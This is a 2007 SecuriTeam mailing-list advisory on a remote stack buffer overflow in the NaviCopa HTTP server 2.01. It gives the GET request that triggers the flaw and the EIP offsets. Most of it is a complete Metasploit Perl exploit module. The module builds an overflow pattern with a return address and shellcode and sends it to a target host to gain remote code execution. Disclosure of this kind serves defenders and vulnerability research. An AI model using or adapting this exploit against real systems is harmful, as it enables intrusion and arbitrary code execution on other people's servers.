[EXPL] InterVations NaviCopa HTTP Server Buffer Overflow (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



InterVations NaviCopa HTTP Server Buffer Overflow (Exploit)
------------------------------------------------------------------------


SUMMARY

"The <http://www.navicopa.com/> NaviCOPA Web Server Software installs on
any version of the Microsoft Windows operating system from 98 and up and
automatically configures itself for instant HTTP access."

Remotely exploitable buffer overflow vulnerability has been identified in
the latest release of InterVations NaviCopa HTTP server 2.01. Successful
exploitation of this vulnerability allows an attacker to execute arbitrary
code in the context of the NaviCopa HTTP server.

DETAILS

The overflow can be triggered by sending a GET request in the following
ways:

GET /cgi-bin/AAAAAAAAAAAAA....
or
GET /cgi/AAAAAAAAAAAAAAAAAA...

The amount of submitted characters depends on the location of the NaviCopa
installation folder. By default (Windows English version), it resides in
the Program Files/NaviCOPA directory. In that case, eip is overwritten
with characters 271 to 274.

An exploit for this vulnerability has been developed and successfully
tested against Windows 2000 Advanced Server, Windows XP SP2 and Windows
Vista. Not surprisingly, ASLR (Address Space Layout Randomization) does
not prevent reliable code execution due to its obvious limitations.

Vendor Status:
The vendor was informed on March 23, 2007 and published a patched version
2 hours later.

Exploit:
<http://www.skilltube.com/exploits/naviCopa_cgi.pm>
http://www.skilltube.com/exploits/naviCopa_cgi.pm
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::naviCopa_cgi;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'Buffer Overflow in NaviCopa HTTP server 2.01 (cgi-bin)',
'Version' => '$Rev: 3818 $',
'Authors' => [ 'www.skillTube.com', ],

'Arch' => [ 'x86' ],
'OS' => [ 'win32' ],
'Priv' => 1,

'AutoOpts' => { 'EXITFUNC' => 'process' },
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'URL' => [1, 'DATA', 'The URL to the cgi-bin', '/cgi-bin/'],
'SSL' => [0, 'BOOL', 'Use SSL'],
},

'Payload' =>
{
'Space' => 900,
'BadChars' => "\x00+&=%\x0a\x0d\x25\x2b\x2e\x3f",
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the NaviCopa HTTP server
2.01 (release version 6th October 2006 or earlier). It is not the
same vulnerability as the one described in BID 20250.

The vulnerability was found by a member of skillTube.com and
allows reliable code execution. The only thing that may vary
is the path to the NaviCopa installation folder. On an English
version of Windows, it resides in the c:\\program files\\navicopa
directory. In that case, eip is overwritten with char 271 to 274.

To add a new target version of Windows (e.g. Spanish, Italian etc.),
you only need to change the offset to eip. As an example, in a
German version of Windows, the installation directory of navicopa is
c:\\programme\\navicopa. As a result, the path length is four characters
shorter than on an English version of Windows. As a consequence, the
offset to eip has to be increased by four.

Exploit was successfully tested against Windows 2000, XP and
Windows Vista (regardless of ASLR).
}),

'Refs' => [
['URL', 'http://www.skilltube.com'],
],

'DefaultTarget' => 0,
'Targets' =>
[
['Universal exploit for all English versions of Windows
(XP,2000,Vista)', 270, 0x1002c46f], # push esp, retn
['Universal exploit for all German versions of Windows (XP,2000,Vista)',
274, 0x1002c46f], # push esp, retn
],

'Keys' => ['naviCopa'],

'DisclosureDate' => 'March 2007',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced},
@_);
return($self);
}


sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_path = $self->GetVar('URL');
my $target_idx = $self->GetVar('TARGET');
my $shellcode =$self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

$self->PrintLine("[*] Attempting to exploit target " . $target->[0]);

my $pattern = "A"x900;
my $jmp = "\xeb\x04";

substr($pattern, $target->[1] , 4, pack('V', $target->[2])); # ret
substr($pattern, $target->[1] + 42, length($jmp), $jmp);
substr($pattern, $target->[1] + 44 , 4, pack('V', $target->[2])); #edx
substr($pattern, $target->[1] + 48 , length($shellcode), $shellcode);

my $request =
"GET $target_path$pattern HTTP/1.1\r\n".
"Host: $target_host:$target_port\r\n\r\n";

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

$self->PrintLine("[*] Sending " .length($request) . " bytes to remote
host.");
$s->Send($request);

$self->PrintLine("[*] Waiting for a response...");
my $r = $s->Recv(-1, 5);
$s->Close();

return;
}

1;


ADDITIONAL INFORMATION

The information has been provided by <mailto:lists73@xxxxxxxxxxxxx>
skillTube.com.
The original article can be found at:

<http://www.skilltube.com/index.php?option=com_content&task=view&id=13&Itemid=37> http://www.skilltube.com/index.php?option=com_content&task=view&id=13&Itemid=37



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages